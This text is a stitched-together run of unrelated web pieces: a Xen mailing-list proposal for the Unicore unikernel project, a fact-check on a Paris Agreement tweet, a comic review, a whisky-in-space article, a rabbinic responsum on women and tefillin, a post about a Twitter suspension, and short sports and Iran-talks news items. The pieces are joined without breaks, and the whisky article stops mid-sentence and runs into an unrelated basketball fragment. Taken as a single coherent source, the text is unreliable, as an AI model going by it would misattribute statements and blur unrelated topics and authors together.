Dear all, Following up on discussions that Simon Kuenzer had with several of you at the last Xen summit, we’re now submitting a Xen subproject proposal based on our Unicore work. Could you please review it? Thanks, Felipe Huici & Simon Kuenzer - NEC Labs Heidelberg. PROPOSAL: Unicore ================= Roles ----- Project Leads: Simon Kuenzer <simon.kuenzer@xxxxxxxxx> (main lead) Felipe Huici <felipe.huici@xxxxxxxxx> (co-lead) Florian Schmidt <florian.schmidt@xxxxxxxxx> (co-lead) Project Mentor: Lars Kurth <lars.kurth@xxxxxxxxxx> Project Sponsor: -To be found- Background ---------- In recent years, several papers and projects dedicated to unikernels have shown the immense potential for performance gains that these have. By leveraging specialization and the use of minimalistic OSes, unikernels are able to yield impressive numbers, including fast instantiation times (tens of milliseconds or less), tiny memory footprints (a few MBs or even KBs), high network throughput (10-40 Gb/s), and high consolidation (e.g., being able to run thousands of instances on a single commodity server), not to mention a reduced attack surface and the potential for easier certification. Unikernel projects worthy of mention include MirageOS, ClickOS, Erlang on Xen, OSv, HALVM, and Minicache, among others. The fundamental drawback of unikernels is that they require that applications be manually ported to the underlying minimalistic OS (e.g. having to port nginx, snort, mysql or memcached to MiniOS or OSv); this requires both expert work and often considerable amount of time. In essence, we need to pick between either high performance with unikernels, or no porting effort but decreased performance and decreased efficiency with standard OS/VM images. The goal of this proposal is to change this status quo by providing a highly configurable unikernel code base; we call this base Unicore. This project also aims to concentrate the various efforts currently going on in the Xen community regarding minimalistic OSes (essentially different variants of MiniOS). We think that splitting the community across these variants is counter-productive and hope that Unicore will provide a common place for all or most improvements and customizations of minimalistic OSes. The long term goal is to replace something like MiniOS with a tool that can automatically build such a minimalistic OS. Unicore - The "Unikernel Core" --------------------------------- The high level goal of Unicore is to be able to build unikernels targeted at specific applications without requiring the time-consuming, expert work that building such a unikernel requires today. An additional goal (or hope) of Unicore is that all developers interested in unikernel development would contribute by supplying libraries rather than working on independent projects with different code bases as it is done now. The main idea behind Unicore is depicted in Figure 1 and consists of two basic components: [Attachment: unicore-oneslider.pdf] Figure 1. Unicore architecture. Library pools would contain libraries that the user of Unicore can select from to create the unikernel. From the bottom up, library pools are organized into (1) the architecture library tool, containing libraries specific to a computer architecture (e.g., x86_64, ARM32 or MIPS); (2) the platform tool, where target platforms can be Xen, KVM, bare metal (i.e. no virtualization) and user-space Linux; and (3) the main library pool, containing a rich set of functionality to build the unikernel from. This last library includes drivers (both virtual such as netback/netfront and physical such as ixgbe), filesystems, memory allocators, schedulers, network stacks, standard libs (e.g. libc, openssl, etc.), runtimes (e.g. a Python interpreter and debugging and profiling tools. These pools of libraries constitute a code base for creating unikernels. As shown, a library can be relatively large (e.g libc) or quite small (a scheduler), which should allow for a fair amount of customization for the unikernel. The Unicore build tool is in charge of compiling the application and the selected libraries together to create a binary for a specific platform and architecture (e.g., Xen on x86_64). The tool is currently inspired by Linux’s kconfig system and consists of a set of Makefiles. It allows users to select libraries, to configure them, and to warn them when library dependencies are not met. In addition, the tool can also simultaneously generate binaries for multiple platforms. As an example, imagine a user wanting to generate a network driver domain unikernel. In this case, we would assume the “application” to be the netback driver. To select this application, the user would first run “make menuconfig” from within the netback application folder. The Makefile there would set a variable to indicate what the application is, and would include the main Unicore Makefiles so that the unikernel can be built (Step 1 in the figure). Using the menu-based system, the user chooses the relevant libraries; for a Xen driver domain this would include a physical network driver, the netback driver, the libxenplat library and a library from the architecture library pool such as libx86_64arch (Step 2 in the figure). With this in place, the user saves the configuration and types “make” to build the unikernel (Step 3) and xl create to run it (Step 4). A note on the ABI/API: because Unicore allows for customization of the unikernels, the ABI (or API since there is no kernel) would be custom, that is, defined by the libraries the user selected. Having said that, it would be perfectly possible, for instance, to build POSIX-compliant unikernels with it. Relevance to Xen and its Community ----------------------------------- Unikernels are important to a number of areas relevant to the Xen community, including IoT, automotive, stub domains and driver domain disaggregation. Unicore could help boost the progress in all of these areas by quickly providing the necessary tools to create unikernels for them. For instance, for a driver domain, the user would include the “library” containing the relevant hardware driver and corresponding back-end driver, and in principle Unicore would take care of the rest. In addition, Unicore could eventually replace Mini-OS, providing a cleaner, more stable and flexible base from which to build unikernels for projects (the modularization of Mini-OS is in fact already taking place). Current Status -------------- Unicore is at an early stage. For now it includes some base libraries with code extracted from Mini-OS as well as a build tool inspired by Linux's KConfig system. Unicore is currently able to build "hello world" unikernels for Xen and Linux user space on x86_64 and ARMv7. Incubation ---------- The reason behind making Unicore a Xen sub-project project is to (1) bring the existence of Unicore to the attention of the Xen community and to outside world; (2) to attempt to harness interest and potentially development cycles from people and companies interested in unikernels; and (3) to concentrate maintenance resources from people interested in unikernels within the community. License ------- The main license of the run-time components of Unicore will be a 3-clause BSD license, unless there is a good reason not to use it (e.g. we may import 2-clause BSD licensed code from Mini-OS, which we would *not* anticipate to change). The Makefile system would be licensed under GPL v2 or later as we want to be able to use KConfig functionality from Buildroot/Linux. Required Infrastructure ----------------------- The official repositories should be created on [http://xenbits.xenproject.org/] under `unicore.git`. There should be a main repository for the core unicore implementation and additional repositories for some more advanced extension libraries (e.g., lwIP, newlib). ### Main repository `unicore.git` ### Repositories for extension libraries Repositories for additional libraries that are supported by the Unicore project should exist under a separate directory: `unicore-libs/` For example: `unicore-libs/lwip.git` `unicore-libs/newlib.git` ### Mailing list In the beginning we would use the MiniOS mailing list (minios-devel@xxxxxxxxxxxxxxxxxxxx). When we get traction with Unicore we could consider splitting that traffic onto a unicore mailing list. ============================================================ Dr. Felipe Huici Chief Researcher, Networked Systems and Data Analytics Group NEC Laboratories Europe, Network Research Division Kurfuerstenanlage 36, D-69115 Heidelberg Tel. +49 (0)6221 4342-241 Fax: +49 (0)6221 4342-155 e-mail: felipe.huici@xxxxxxxxx ============================================================ NEC Europe Limited Registered Office: NEC House, 1 Victoria Road, London W3 6BL Registered in England 2832014
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_______________________________________________ Xen-devel mailing list Xen-devel@xxxxxxxxxxxxx https://lists.xen.org/xen-devel"Syria and Nicaragua are the only nations that didn't sign the Paris Agreement. Nicaragua said it wasn't tough enough."
Just a few hours before President Donald Trump was set to announce whether he will withdraw the United States from the Paris Agreement on climate change, Democratic Congresswoman Debbie Wasserman Schultz questioned the president’s reported intent to walk away from the accord.
"Syria and Nicaragua are the only nations that didn't sign the Paris Agreement. Nicaragua said it wasn't tough enough. What's Trump's excuse?" the representative from Florida tweeted June 1.
Syria and Nicaragua are the only nations that didn't sign the Paris Agreement. Nicaragua said it wasn't tough enough. What's Trump's excuse? — D Wasserman Schultz (@DWStweets) June 1, 2017
Trump’s promise to "cancel" the Paris Agreement is one of more than 100 promises we are tracking on the Trump-O-Meter.
News outlets reported that Trump was leaning toward exiting the global agreement to reduce greenhouse gas emissions and keep global average temperature increases below 2 degrees Celsius.
Wasserman Schultz tweet left us wondering if she was right about only two nations — Syria and Nicaragua — not signing the agreement, and that the Central American nation refused to sign because the agreement "wasn’t tough enough." Information from the United Nations and statements by Nicaraguan representatives support her statement.
The Paris Agreement
The United Nations Framework Convention on Climate Change (UNFCCC) was adopted in 1992 and entered into force in 1994. It consists of 197 Parties (196 States and 1 regional economic integration organization). Among them are the United States, Syria and Nicaragua.
The UNFCCC’s ultimate goal is "preventing ‘dangerous’ human interference with the climate system," that includes greenhouse gas concentrations, according to the UNFCCC’s website.
Parties to the UNFCCC during a December 2015 session in Paris adopted the Paris Agreement, seeking "to strengthen the global response to the threat of climate change." One of the objectives is to hold the increase in global average temperature well below 2 degrees Celsius above pre-industrial levels.
A total of 175 parties signed the agreement on April 22, 2016, according to information from the UN. The agreement remained opened for signatures from April 22, 2016, to April 21, 2017. The latest nation to sign was Uzbekistan, on April 19.
Overall total signatories: 195.
The only countries in the world that did not sign: Syria and Nicaragua.
The Paris Agreement came into effect in November 2016 after 55 countries accounting for at least 55 percent of total global greenhouse gas emissions formally ratified the agreement. So far, 147 parties have ratified the agreement.
Wasserman Schultz office referred us to several news reports indicating that if the United States abandons the Paris agreement, it would join Syria and Nicaragua as nonparticipants.
Reuters in December 2015 reported that Nicaragua objected to the climate agreement "saying it did not do enough to protect ‘Mother Earth,’ in a symbolic protest after the deal had been formally adopted."
The news agency noted that Paul Oquist, head of the Nicaraguan delegation at the December 2015 session, said wealthy nations should do more to reduce their emissions. Nicaragua also had said developed nations were "not doing enough to reduce their use of carbon and are not providing sufficient funding to help the developed world adapt to the impact of climate change," Reuters reported.
"We’re not going to submit because voluntary responsibility is a path to failure," Oquist told Climate Home in 2015, a media organization covering climate news. He added: "It’s a not a matter of being troublemakers, it’s a matter of the developing countries surviving."
In September 2016, a Spanish-language post by the United Nations also said that the Nicaraguan vice president, Moisés Omar Halleslevens Acevedo, had reiterated his nation’s concerns on global warming but did not believe the Paris Agreement would prevent the worsening of the global issue.
"Many of us concur that what was agreed in Paris is not sufficient," and more ambitious actions are urgent, Halleslevens Acevedo told the UN General Assembly in September 2016.
Nicaraguan media have also reported that Nicaragua’s absence from the agreement is due to its concerns over the agreement, not out of lack of concern for climate change.
Amid a civil war since 2011, Syria’s participation in the agreement has been difficult because members of the Syrian government are subject to European and American sanctions.
Our ruling
Wasserman Schultz tweeted, "Syria and Nicaragua are the only nations that didn't sign the Paris Agreement. Nicaragua said it wasn't tough enough."
A total 195 of the 197 parties to the United Nations Framework Convention on Climate Change signed the Paris Agreement. That includes all the countries in the world, except Syria and Nicaragua.
Nicaraguan representatives have said the Paris Agreement is "not sufficient" and believe rich nations should do more to reduce their emissions.
We rate Wasserman Schultz’ claim True.(Courtesy of IDW Publishing)
A bold reinvention of Arthurian legends, Sword of Ages #1 (IDW Publishing) is a sprawling epic sci-fi fantasy that only thrills its readers, the pages inspire our awe. The phenomenal first installment brings a seriousness to the composition and transcends the visuals.
This is an all-new vision of the Excalibur myth. In the space fantasy, the everlasting legend of the Sacred Sword is born. The young warrior known as Avalon clashes with rising tyrants. Welcome to a world of fantastic creatures, ancient civilizations, alien forces, and true magic.
Here are 5 reasons why you should pick up Sword of Ages #1:
5) A New Level Of Excitement!
out #TOMORROW: SWORD OF AGES #1
written and drawn by yours truly
colors by @Lovern
from @IDWPublishing hope you’ll enjoy it! 😉 pic.twitter.com/ioHceIHnJD — Gabriel Rodríguez (@GR_comics) November 28, 2017
Artist Gabriel Rodriguez beautifully captures the emotional turmoil of the family drama in the Locke & Key series. Making his debut here as the sole series creator, Rodriguez pushes himself to another level, taking over the reins as both writer and illustrator. The breathtaking visuals take readers to a different world that is filled with awe-inspiring adventure.
4) World-Building At Its Best!
Interestingly, Rodriguez divides the epic narrative into chapters, starting off with a prelude. Right off the bat, the artwork introduces readers to a flying jellyfish, floating in outer-space. The illustrations scream out ambitiousness and delivers on its future potential.
3) The Colors!!
Colorist Lovern Kindzierski has a vivid palette that does wonders to the vast landscapes. You see the blue tones in the ocean and the warm colors of the desert. There is so much detail to the costumes, which resemble breakthroughs in technology and callbacks to medieval times.
2) Extra Features!
The first issue contains two special pages of character designs. There is a also an interview that dives right into the creative mastermind.
1) A Fantastic Read!
Readers will definitely love the spectacular futuristic sci-fi epic of Sword of Ages #1! Everyone is truly welcomed to this world of wonder and I cannot wait to revisit the second installment.
RATING:
via GIPHY
Four out of four emojis
Sword of Ages #1 is out in stores on November 29, 2017.
– By Jorge Solis
Like this: Like Loading...Few things in life make a better pairing than science and Scotch. Now a new experiment involving both Ardbeg Distillery and the International Space Station is combining these joys in a way never imagined before: by aging whiskey malt in space, reports the BBC.
Scientists at Ardbeg are hoping to learn how a zero-gravity environment effects the maturation of whisky malt, with the ultimate aim of one day enhancing the flavor spectrum of their product. That's right, whisky aficionados: "space-aged Scotch" could soon become a part of your palate.
Compounds of unmatured malt (or "new make spirit") and particles of charred oak were blasted to the International Space Station last October. There, scientists will observe how the flavor elements of the malt and oak interact chemically over two years. These observations will be compared with two identical control experiments being conducted back on Earth, one at a facility in Houston, Texas, and another at a warehouse at Ardbeg Distillery in Scotland.
"This is believed to be the first time anyone has ever studied terpenes and other molecules in near zero-gravity," writes the team at Ardbeg on their website.
Terpenes are compounds common in nature that contribute to the flavor and aroma of whisky. They are the primary constituents |
it still entails the necessity for players who’ve not been in leadership roles previously to assume that responsibility. And Van Gundy will be observing how that process unfolds from the first training camp practice on.The following responsa was written by Rav Hershel Shachter Shlita, the Rosh Yeshiva at Yeshiva University, regarding the recent issue of orthodox girls in certain circles wearing Tefillin. It was translated (unofficially) by Rabbi Yair Hoffman for YWN exclusively because of the importance of the content. Rav Shachter pulls no punches in his defense of the traditional Torah view and decries the audacity of the Rabbis behind the move in issuing rulings regarding matters that are far beyond them. Minor changes were made in formatting to facilitate greater readability and comprehension. Section headings were also added in the beginning and certain ideas were moved to a footnote – for the same purpose.
“The Entire Congregation is Holy..”
CAUSING THE KOHAIN TO BECOME IMPURE
A Mishna [1] is cited in the beginning of tractate Yuma (2a) that the sages would purposefully cause the Kohain preparing the Parah Adumah to become impure, and then immerse him. They did this in order to entirely negate the view of the Sadducees [that the kohain performing the service must be completely pure – not just partially pure] [2].
So that onlookers would now not denigrate the process of Para Aduma [3] – the sages further ordained that all the actions involving the Parah Adumah be performed in vessels of dung, stone, and earthenware – vessels that are not susceptible to impurity.
SPECIAL RAISING OF CHILDREN TO HELP IN PARAH ADUMAH
It was also the custom to build [special] courtyards in Jerusalem over a rock and beneath them an area was hollowed out to protect from a possible grave in the depths below. They would bring pregnant women there and they would give birth there and raise their sons there. They would bring oxen with doors on them and cups so that the children could fill up the water when necessary for the preparation of the ashes of Para Adumah.
PURPOSE OF ALL THESE ENACTMENTS TO NEGATE SADDUCEAN VIEW
We see that all these details, the special raising of children, the utilization of certain vessels, were all because the sages of the Mesorah who lived during the time of the Bais HaMikdash were concerned not just regarding the Mitzvos that the Saduccees performed entirely incorrectly [4], but rather, even in the matter of the Para Adumah, where the Sadduccees acted more stringently than the Sages of Israel. The sages made a special effort to practice the leniency taught in the Oral law – that even one who was only partially pure is permitted to participate in the Para Adumah.
They would therefore purposefully cause the Kohain to become impure and they would then subsequently immerse him. This is to show that even stringencies that are not in accord with the Oral law have no basis whatsoever – and that one may not follow such customs. And all this is to entrench in our hearts this fundamental principle – that we only have our traditions, passed down and explained by the sages of our traditions in each and every generation.
Now in recent months, a new practice has developed, where women don a Kippah, or a Talit and Tefillin during the time of the morning prayers service. They did not pose this question to the halachic adjudicators of our times. Apparently, they do so according to the philosophy of “the entire congregation is holy” – similar to the complaint of Korach and his band. And even if this is not their true intent (following Rashi citing the Midrash), but rather that everyone of them also stood at the foot of Mount Sinai – and therefore – everyone is worthy of adjudicating halacha in accordance with his or her understanding and feelings. [They echo Korach’s statement:] “And why have you elevated yourselves upon the congregation?” In other words, why do we need a Rav or a Rebbe to adjudicate halacha? [compare this to the famous drasha of Rav Y.B. Soloveitchik cited in brief in the book “Nefesh haRav” in Likutei Torah for Parshas Korach and in the book “Hashkafas HaRav”].
Any individual who has merely studied in a Yeshiva can rule and adjudicate according to his own intellect – especially in our days where anything can be searched and found on the internet, in the Otzer HaChochma, or in the Responsa project of Bar Illan, and other such things. Utilizing these aforementioned methods, each person can thus make himself into a Talmid Chochom or a Morei Horaah. He can then rule even in the most stringent of matters as if he knew by himself all the sources and all the opinions. [Upon this they jokingly explained the intent of the Yerushalmi (beginning of the fourth chapter of Dmai) that states that the fear of Shabbos is upon the unlearned – that is, on Shabbos, where he cannot use his computer, he is in a state of fear that they will catch him and see and understand that in truth he knows nothing!]
I was shocked to see how otherwise intelligent people are engaging in pilpulim, vain pilpulim, dealing with whether or not women may voluntarily perform the Mitzvah of Tefillin (in the manner of “not commanded but fulfilling it anyway”). They have marshalled opinions both this way and that way, and judge things as if we were living in the period of the Tanach (as they cite precedence from Michal Bas Shaul), or in the period of the Tannaim (where the Tannaim debate regarding whether women may voluntarily lay on hands), or in the period of the Rishonim (who debated things regarding the practices of Rashi’s daughters).
However, in the abundance of our sins we live in the year 5774 – in the time period of the rebellion of schismatic movements who fight the oral law.
It is a time when this practice of [women] wearing Talis and Tefillin is found exclusively with Conservative Judaism, where their entire approach to halacha is founded upon the principle that it is permitted – even an obligation to change from the path of our traditions according to the whims and practices of “how the nation conducts itself” whenever there may be any trace of a source to the matter.
It is this particular point which is the essential difference between them and the Orthodox.
There is a civil war here – one campaign versus another. It is where one group continues to follow the traditions of their fathers declaring that our fathers did not lie to us. And that we believe with complete faith like all the previous generations – that Moses received the Torah from Mount Sinai.
The other group screams out and says, “We alone are the true arbiters of the truths of history.” They claim decisively that Moses did not receive the Torah from Sinai, etc. etc. A good portion of their stand and opinion emanates from the claim of their “forefather Korach” – that the entire congregation is holy, as mentioned above.
It would appear that only someone who is intellectually blind, with no “eyes” to see, will fail to recognize what is under his own nose – that this practice is the practice of Conservative Judaism, and is highly likely to bring about more changes that lie in contrast to the Mesorah, and to bring about a general laxity in the matter of rulings of Psak halacha. [It is also well known what Rav Yitzchok Zev Soloveitchik said about his father Rav Chaim Solveitchik, that he had intense powers of understanding and observation. He could predict at the outset of a decision that if it was decided to go in one direction – the repercussion in sixty years would be such and such. And if they went in this other direction, then “such and such” would be the results in sixty years. “But I,” remarked Rav Yitzchok Zev, “do not have such powers of understanding.” After a short pause he added, “But, it would appear to me that at least I do have the quality of seeing what is in front of me right now, under my own nose.”]
It is an obvious matter that just as the sages of the Mesorah did not permit us to act even according to the stringencies of the Sadducees, and they were careful to previously cause the impurity of the Kohen that prepares the Para Adumah and then immerse him, for the purpose of ensuring that the preparation specifically be done by a Tvul Yom, so too must we do in our actual situation.
Piskei Halacha are not rendered in an empty vacuum. Rather, they are made in contact with that generation. And in our generation, all the Tannaim, all the Rishonim, and all the Achronim would agree that such practice is decidedly forbidden so as not to emulate the schismatic movements, even though it may appear as a stringency (see the Mishna in Chulin 41a).
It would appear that this matter lies within the idea of “Arkasa d’Msana [5] – even the changing of shoelaces like the gentiles.” The Rav zatzal said that the parameters of the prohibition of “even changing of shoelaces” are that any practice that became a symbol for the destruction of the religion – even if “according to technical halacha” it is permitted – this (that it has become such a symbol) itself causes it to become forbidden. And so did the Rav presciently predict in his time (regarding Ben Gurion’s topic of “Who is a Jew”), that there is no difference in the matter as to whether the oppressor is a gentile like Antiochus, or a Jew such as Ben Gurion [6], matters of “even the changing of shoelaces” still remains a matter of Yehareg v’al yaavor – where one should be killed rather than violate it.
It is also well known in the name of the Rav that when the Conservatives first introduced the Bat Mitzvah ceremony in the middle of davening like the Bar Mitzvah ceremony for boys, the Rav warned that Orthodox Rabbis are certainly forbidden from doing so. This is because it is within the notion of “Arkasa d’Msana – even the changing of shoelaces” and is yehareg v’al yaavor.
Furthermore, see the Chazon Ish (OC 52:6) who writes that even though it appears correct to permit opening up the hood above a baby carriage [on Shabbos], we should still forbid opening an umbrella for a number of reasons. One of them is that it will cause a pirtzah – a breach. Perhaps his intent is like what was explained above – that the umbrella served as the symbol of the destruction of religion in Europe regarding Reform Jewry. Therefore, we must forbid it – even though that by virtue of the laws of a temporary tent regarding the Malacha of building on the Sabbath it might technically be permitted.
Indeed, I am perplexed at the very outset, what those who permitted it were even thinking.
The Ramah (OC 38:3) has already cited the views of the Rishonim and there is no dissenting view among all the commentaries of the Shulchan Aruch – that in our times we all have a problem of maintaining a guf naki. Therefore, the decision was made to minimize the duration of the donning of Tefillin even for men (in other words – just during the Shacharis service). This is how the Rav explained the matter properly and well in his lectures (See MiPninei HaRav Tefillin section 1).
This is also how the Rav ruled in actuality regarding a young Baalas Teshuvah, a student in Frisch, who wanted to put on Tefillin. The Rav ruled, based upon the words of the Ramah, not to allow her to do so. One cannot say that in the past forty years the situation has so improved regarding the purity of thought necessary for the putting on of Tefillin. It is known to all that this was the accepted practice for all generations, and who is this who dares to have the audacity to rule agains the accepted ruling of our master the Ramah. Compare this to the Rambam Hilchos Shmita and Yovel (10:6) that accepted practice and conduct are considered huge pillars in the matter of halachic adjudication. In them, it is worthy to rely upon. In other words, even though the opinion of the Rambam in this matter was inclined to rule not in accordance with the view of the Gaonim, he finally adjudicated in their way, because this was the accepted practice.
And those who quote the expression, “Moshe received the Torah from Sinai,” continue with and passed it on to Yehoshua etc. They state, “We have in our hand a strong tradition as to how to render halacha.” But the field of halacha is not like an abandoned property where the first person who lays claim to it receives it, and whoever is stronger wins, or whoever publicizes his opinion first either through the newspapers or through the internet the halacha is like him.
No. The matter is as it has been explained in the Midrashim – that one thousand walk into the Beis HaMidrash and one comes out suitable to rule in the area of halacha. That one individual is one who has interned for much time with his master. He received the words of Torah investing blood and soul. He is indeed married to the Torah – not just engaged to it.
Indeed, the Rav would often say (see drasha to Parshas Korach), that every person must recognize that he needs a Rav or a Rebbe. Even a Talmid Chochom whose Rebbe had passed away must constantly ask himself in truth (when they present questions to him) what his Rebbe would have said in such a scase, and what stance he would have taken. [I once heard from my colleague Rav Abba Bronspiegel, may he live, that he had once posed a question to the Rav (when he was visiting the Rav’s mother in her apartment). After some back and forth, the Rav ruled leniently. His mother was upset at him and said, “Your father would not have ruled in this way!” The Rav immediately retracted his ruling, as his father was certainly his Rebbe Muvhak, the Rebbe whom he had learned from the most.]
The expression that some of those who have permitted this utilize that “according to the technical halacha” a certain act is permitted, and that which people wish to prohibit it is because of “political considerations” is incorrect. For even a matter such as changing the mesorah – the traditions of the Jewish people is in and of itself an integral section of halacha. When one rules on “the donning of Tefillin for women” it is not enough to merely examine the ruling of the Shulchan Aruch in Hilchos Tefillin and in the sources there and treat it as a simple question.
Rather, like any question in halacha, we must rule on the topic from all facets and perspectives. Not always will the ruling lay on that page in Shulchan Aruch that we had initially thought. This is what is said in the Yerushalmi Rosh haShana (3:5) on the verse (Mishlei 31:14), “mimerchak tavi lachma – from a far place she will bring her bread” that [quite often] the words of Torah are poor in one place and rich in another place. All difficult questions such as this [ruling against an explicit Ramah in Shulchan Aruch is certainly a difficult question that certainly needs wide shoulders], certainly must be presented before Torah scholars who are Morei Horaah that have a wide knowledge in halacha.
No mere musmach or local Rabbi, even one with the best if intentions, should express his opinion in a question such as this, and certainly not to publicize his private opinion through the media or the internet. For such a serious question applies to all of Klal Yisroel who are true to the Mesorah. Only leading Gedolei Horaah are permitted to decide upon these matters.
Our complaint is not at all upon the women who have endeavored to fulfill this Mitzvah, rather it is upon the Rabbis (all of whom have received ordination from our Yeshiva) who proffered an erroneous opinion here, without consultation of their question to the Morei Horaah that they direct their questions toward regarding other matters. They have publicized their opinion as if it were a simple matter to permit. May Hashem Yisborach mend the breaches and repair the rips that occurred in our camp and direct our hearts to serve him in truth and purity [7].
(Rav) Tzvi [Hershel] Schachter,
Adar I, 5774
The translator can be reached at [email protected]
CLICK HERE TO READ THE ORIGINAL TESHUVA
FOOTNOTES:
[1] Parah 3:2 [2] The Sadducees interpreted that the entire procedure took place after the sun had already set and the kohain was thus completely pure. [3] Rashi explains that since a Tvul Yom would be kosher for use in the preparations of a Parah, people might think that one does not have to be so exacting in things. They therefore were very careful to observe all these stringencies. [4] Such as always celebrating Shavuos on a Sunday, or such as on Yom Kippur to fix the matter outside the heichal and bring it in afterward – where they made him take an oath that he was not a Saduccee (See Yuma 18b). [5] See Sanhedrin 74b. [6] The notion of “oppressor Jew” is first found in response Avnei Naizer OC response 37 see Nefesh haRav p. 233. [7] See further my response on mixed Minyanim (Shvat 5774) to be augmented to what we have written here.ORIGINAL POST UPDATED on April 24, 9:00 AM Eastern: By Adam Bitely — In the past 4 years, social media outlets such as Twitter and Facebook have become a dominant force for spreading messages and rallying causes. Through Facebook and Twitter, hundreds of millions of people are connected in a way that Earth has never seen before.
Whole governments have toppled through the power that a group has that can harness its message through Twitter. The sheer ability to post a message and have it seen by millions of people is a powerful tool.
In the summer of 2009, hundreds of thousands of protestors took to the streets in Tehran, Iran to protest the phony election results that showed Mahmoud Ahmadinejad winning re-election. The world was able to watch these protests unfold over Twitter and the protestors themselves were able to use Twitter as a tool for coordinating their activities.
People all over the world were given a front row seat to watch a protest through the eyes of the protestor. In early 2011, protestors took to the streets in Egypt and toppled their government. This happened in Libya as well. And Tunisia.
In all of these instances, Twitter has served as a powerful tool that allows people the ability to communicate with each over and spread a message far and wide. And Twitter has prided itself on being a key tool for enabling people to engage in their society and foster democracy. After all, Twitter bent over backwards to make sure that it had the capacity to carry the revolution over its servers with minimal interruption.
Yet, for some strange reason, Twitter silenced the official account for the new Americans for Limited Government project Free Market America. The account, @FreeMarket_US, went live a few days before Earth Day and was slowly picking up steam.
On Earth Day, the official website for Free Market America was launched and its Facebook and Twitter components started to come to life as well. The first video put out by Free Market America, “If I wanted America to fail”, got over 120,000 hits in less than 36 hours!
But you would never know that if you tried to follow the Twitter page — it was suspended by Twitter midway through the day on Earth Day!
After numerous attempts to contact Twitter and see what the story was behind the suspension, ALG launched a twitter campaign against twitter. Urging all of our followers to contact @twitter to ask why the Free Market America site has been suspended, thousands came to our defense.
Led by Michelle Malkin (@michellemalkin) who tweeted to her more than 270,000 followers multiple times, and wrote a story on the suspension, twitter exploded with demands for an answer from the company for suspending the account. Many other notables jumped into the fray including Fox News’ Eric Bolling (@ericbolling), talk radio host Neal Boortz (@talkmaster), and Glenn Beck’s The Blaze.
Finally, at 10:46 pm, the @freemarket_us twitter account was restored with an explanation that for some unknown reason the account had been caught up in Twitter’s automated spam filter.
The remarkable six hours of using a twitter campaign to engage what was, at best, a massive customer service breakdown at Twitter came to an end. The very system that has been touted as having taken down governments proved itself to be an invaluable resource in getting the Free Market America message out to hundreds of thousands of people.
We encourage you to follow @freemarket_us, @billwilsonalg, @netrightdaily and @limitgovt to get the latest information on limiting government using this 140 character communication dynamo.
Adam Bitely is the Editor-in-Chief of NetRightDaily.com. You can follow him on Twitter at @AdamBitely.
UPDATE 10:55 PM Eastern: Twitter has officially just “un-suspended” the @FreeMarket_US account. Still waiting to hear the reason for the suspension though.
NRD Editor’s Note: We would greatly appreciate if you could help our cause to figure out why Free Market America is being censored. Please Tweet the following message —> “Why has @Twitter suspended @FreeMarket_US? #Censorship”
Also watch:Chip Kelly has retooled Philadelphia's roster in the past two weeks, but there still is more to be done with the Eagles' offense, and a visit from a touted wide receiver certainly will lead to some speculation.
Former USC wide receiver Nelson Agholor told SiriusXM NFL Radio that he is scheduled to visit with the Eagles on Sunday.
Agholor (6-foot-0 1/8, 198 pounds) isn't worthy of a first-round selection, but he likely would interest the Eagles in the second round, were he available. Philadelphia owns the 20th pick in the second round, which is 62nd overall. NFL Media analyst Daniel Jeremiah ranks Agholor as the No. 37 overall player in the draft.
Wide receiver seems to be a position of dire need for the Eagles with the free-agent departure of Jeremy Maclin. Philadelphia looks to have hit it big with Jordan Matthews, a second-round selection in the 2014 draft out of Vanderbilt. But other than Riley Cooper, the Eagles don't have any other proven wide receivers, and it wouldn't be that much of a surprise if Philadelphia were to choose two receivers in the 2015 draft.
Agholor lacks elite speed, but looks to have the requisite skill set to be used both outside and in the slot; he seems to be a more natural fit as a slot guy at the next level. He had 104 receptions for 1,313 yards and 12 TDs in 2014; he was seventh in the nation in receptions, ninth in receiving yards and tied for seventh in TD receptions.
Agholor -- who moved easily into the go-to receiver role after serving as a complementary guy for the Trojans in 2013 -- is known for his good hands and route-running ability.
Along with speculation about wide receivers, speculation will continue about Heisman winner Marcus Mariota potentially joining the Eagles as Kelly continues his offensive makeover.
Mike Huguenin can be reached at [email protected]. You also can follow him on Twitter @MikeHuguenin.The first discussions between Iran and six world powers on Tehran's nuclear programme have ended on a positive note, Western officials have said.
But some diplomats said there was still a long way to go, and specific actions were needed from Iran.
The talks in Istanbul on Saturday were the first for 15 months. The next round will take place in Baghdad on 23 May.
Iran says its programme is peaceful, but critics suspect it of seeking to develop a nuclear weapons programme.
The European Union's foreign policy chief, Catherine Ashton, described the talks as "constructive and useful".
Speaking at the end of the talks between the six countries - the US, UK, France, China, Russia and Germany - and Iran, Baroness Ashton said that future discussions would be guided by the "principle of a step-by-step approach and reciprocity".
She said that Iran has the right to a peaceful nuclear programme, and that the nuclear Non-Proliferation Treaty must be a "key basis" for future talks.
The Iranian chief nuclear negotiator, Saeed Jalili, described Saturday's talks as being based on co-operation and "very successful".
He said next month's talks should focus on building mutual confidence.
Analysis At these talks in Istanbul, no-one needed name tags. Almost everyone was here in January 2011 when the most recent round of negotiations collapsed. Almost 15 months later, negotiators returned to Istanbul keen to avoid running into some of their old problems. The central issue which underlies the nuclear dispute between Iran and the West is the lack of trust between the two sides. For decades, Iran and the West have shared an overwhelming lack of faith in each other's intentions. This has made reaching an agreement over Iran's nuclear ambitions extremely difficult.
Iran believes that it is entitled to enrich uranium up to 20% under the Non-Proliferation Treaty. Mr Jalili said that Tehran expects "that we should enjoy our rights in parallel with our obligations".
The British Foreign Secretary, William Hague, welcomed the talks, but said there was "a long way to go" to resolve the dispute.
The French Foreign Minister, Alain Juppe, said Iran needed "to make urgent and concrete gestures to establish confidence" in the next round of talks.
A White House spokesperson praised the "positive attitude" from Iran, describing Saturday's talks as a "first step".
'Last chance'
The world powers meeting Iran in Istanbul hope eventually to persuade the country to reduce its enrichment of uranium and fully open up its nuclear facilities to inspectors from the International Atomic Energy Agency (IAEA).
There are suggestions that the stringent sanctions on Iran could be reduced if it complies with the requests.
Israel - which sees a potential Iranian nuclear arsenal as a threat to its existence - has hinted in recent months that it may carry out a pre-emptive strike.
US President Barack Obama earlier described the talks as a "last chance" for diplomacy to work.
The BBC's Iran correspondent, James Reynolds, following the talks in Istanbul, says the central issue which underlies the nuclear argument between Iran and the West is the lack of trust between the two sides.
Overcoming the legacy of decades of suspicion and mistrust may take more than just a handful of meetings, he says.LaMarcus Aldridge is the pride of Seagoville, Texas, where he often kept the Dallas suburb’s high school gym open until midnight. He’d clock out of work at a shoe store to race over to get in a few hundred late-night jump shots.
